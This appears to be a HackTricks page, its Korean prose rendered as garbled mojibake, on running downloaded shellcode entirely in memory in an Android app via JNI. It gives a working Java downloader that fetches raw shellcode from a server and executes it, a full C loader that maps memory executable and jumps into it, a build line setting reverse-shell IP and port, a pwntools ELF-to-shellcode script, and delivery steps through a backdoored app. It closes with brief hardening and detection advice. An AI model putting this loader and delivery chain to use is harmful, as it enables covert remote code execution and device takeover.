Android์์ JNI๋ฅผ ํตํ In-Memory Native Code Execution (shellcode)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ untrusted Android ์ฑ ํ๋ก์ธ์ค์์ JNI๋ฅผ ์ฌ์ฉํด ๋ค์ดํฐ๋ธ ํ์ด๋ก๋๋ฅผ ์์ ํ ๋ฉ๋ชจ๋ฆฌ ๋ด์์ ์คํํ๋ ์ค๋ฌด ํจํด์ ๋ฌธ์ํํฉ๋๋ค. ์ด ํ๋ฆ์ ๋์คํฌ์ ๋ค์ดํฐ๋ธ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ์ง ์์ต๋๋ค: raw shellcode ๋ฐ์ดํธ๋ฅผ HTTP(S)๋ก ๋ค์ด๋ก๋ํ๊ณ , ์ด๋ฅผ JNI ๋ธ๋ฆฌ์ง๋ก ์ ๋ฌํ ๋ค์ RX ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ๊ณ ์ ํํฉ๋๋ค.
์ ์ค์ํ๊ฐ
- ํฌ๋ ์ ์ํฐํฉํธ ๊ฐ์ (๋์คํฌ์ ELF ์์)
- ELF exploit binary์์ ์์ฑ๋ โstage-2โ native payloads์ ํธํ
- modern malware ๋ฐ red teams๊ฐ ์ฌ์ฉํ๋ tradecraft์ ์ผ์น
High-level pattern
- Java/Kotlin์์ shellcode ๋ฐ์ดํธ๋ฅผ ๊ฐ์ ธ์ด
- ๋ฐ์ดํธ ๋ฐฐ์ด์ ์ธ์๋ก native method (JNI)๋ฅผ ํธ์ถ
- JNI ๋ด๋ถ: RW ๋ฉ๋ชจ๋ฆฌ ํ ๋น โ ๋ฐ์ดํธ ๋ณต์ฌ โ mprotect๋ก RX๋ก ๋ณ๊ฒฝ โ entrypoint ํธ์ถ
Minimal example
Java/Kotlin side
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C JNI ์ธก (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
์ฐธ๊ณ ๋ฐ ์ฃผ์์ฌํญ
- W^X/execmem: ์ต์ Android๋ W^X๋ฅผ ์ ์ฉํฉ๋๋ค; ์ต๋ช PROT_EXEC ๋งคํ์ JIT๊ฐ ์๋ ์ฑ ํ๋ก์ธ์ค์ ๋ํด (SELinux ์ ์ฑ ์ ๋ฐ๋ฆ) ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ ํ ํ์ฉ๋ฉ๋๋ค. ์ผ๋ถ ๊ธฐ๊ธฐ/ROM์ ์ด๋ฅผ ์ ํํ ์ ์์ผ๋ฏ๋ก, ํ์ ์ JIT-allocated exec pools ๋๋ native bridges๋ก ๋์ฒดํ์ธ์.
- Architectures: shellcode ์ํคํ ์ฒ๊ฐ ๊ธฐ๊ธฐ์ ์ผ์นํ๋์ง ํ์ธํ์ธ์(์ผ๋ฐ์ ์ผ๋ก arm64-v8a; x86์ ์๋ฎฌ๋ ์ดํฐ์์๋ง).
- Entrypoint contract: shellcode ์ง์ ๊ท์ฝ(์ธ์ ์์ vs ๊ตฌ์กฐ์ฒด ํฌ์ธํฐ)์ ๊ฒฐ์ ํ์ธ์. position-independent (PIC)๋ก ์ ์งํ์ธ์.
- Stability: ์ ํํ๊ธฐ ์ ์ instruction cache๋ฅผ ์ง์ฐ์ธ์; ์บ์ ๋ถ์ผ์น๋ ARM์์ ํฌ๋์๋ฅผ ์ผ์ผํฌ ์ ์์ต๋๋ค.
ํจํค์ง: ELF โ positionโindependent shellcode ์์ ์ ์ธ ์ด์ ํ์ดํ๋ผ์ธ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- exploit์ musl-gcc๋ก static ELF๋ก ๋น๋ํ์ธ์
- ELF๋ฅผ pwntoolsโ shellcraft.loader_append๋ฅผ ์ฌ์ฉํด selfโloading shellcode blob์ผ๋ก ๋ณํํ์ธ์
๋น๋
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
ELF๋ฅผ raw shellcode๋ก ๋ณํ (amd64 ์์ )
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
์ loader_append๊ฐ ์๋ํ๋๊ฐ: ์ด๋ ๋ด์ฅ๋ ELF ํ๋ก๊ทธ๋จ ์ธ๊ทธ๋จผํธ๋ฅผ ๋ฉ๋ชจ๋ฆฌ์ ๋งคํํ๊ณ ๊ทธ entrypoint๋ก ์ ์ด๋ฅผ ์ ๋ฌํ๋ ์์ ๋ก๋๋ฅผ ์์ฑํ์ฌ, ์ฑ์ด memcpyโedํ์ฌ ์คํํ ์ ์๋ ๋จ์ผ raw blob์ ์ ๊ณตํฉ๋๋ค.
Delivery
- ์์ ์ด ์ ์ดํ๋ HTTP(S) ์๋ฒ์ sc๋ฅผ ํธ์คํธํ๋ค
- ๋ฐฑ๋์ด/ํ ์คํธ ์ฑ์ด sc๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ์์ ๋์จ JNI ๋ธ๋ฆฌ์ง๋ฅผ ํธ์ถํ๋ค
- ์ปค๋/์ ์ ๋ชจ๋ ํ์ด๋ก๋๊ฐ ์์ฑํ๋ ๋ฆฌ๋ฒ์ค ์ฐ๊ฒฐ์ ์์ ํ๊ธฐ ์ํด ์ด์์ ๋จธ์ ์์ ๋๊ธฐํ๋ค
Validation workflow for kernel payloads
- ๋น ๋ฅธ ๋ฆฌ๋ฒ์ฑ/์คํ์ ๋ณต๊ตฌ๋ฅผ ์ํด symbolized vmlinux๋ฅผ ์ฌ์ฉํ๋ค
- ๊ฐ๋ฅํ๋ฉด ํธ๋ฆฌํ debug ์ด๋ฏธ์ง์์ primitives๋ฅผ ํ๋กํ ํ์ดํํ๋, ํญ์ ์ค์ Android ๋์์์ ์ฌ๊ฒ์ฆํด์ผ ํ๋ค (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- ๊ฐ๋ฅํ ๊ฒฝ์ฐ ์ฑ ๋๋ฉ์ธ์์ anonymous PROT_EXEC์ ๊ธ์งํ๋ค (SELinux policy)
- ์๊ฒฉํ ์ฝ๋ ๋ฌด๊ฒฐ์ฑ์ ์ ์ฉํ๋ค (no dynamic native loading from network) ๋ฐ ์ ๋ฐ์ดํธ ์ฑ๋์ ๊ฒ์ฆํ๋ค
- RX๋ก์ ์์ฌ์ค๋ฌ์ด mmap/mprotect ์ ํ ๋ฐ ์ ํ ์ ์ ์ผ์ด๋๋ ๋์ฉ๋ ๋ฐ์ดํธ-๋ฐฐ์ด ๋ณต์ฌ๋ฅผ ๋ชจ๋ํฐ๋งํ๋ค
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


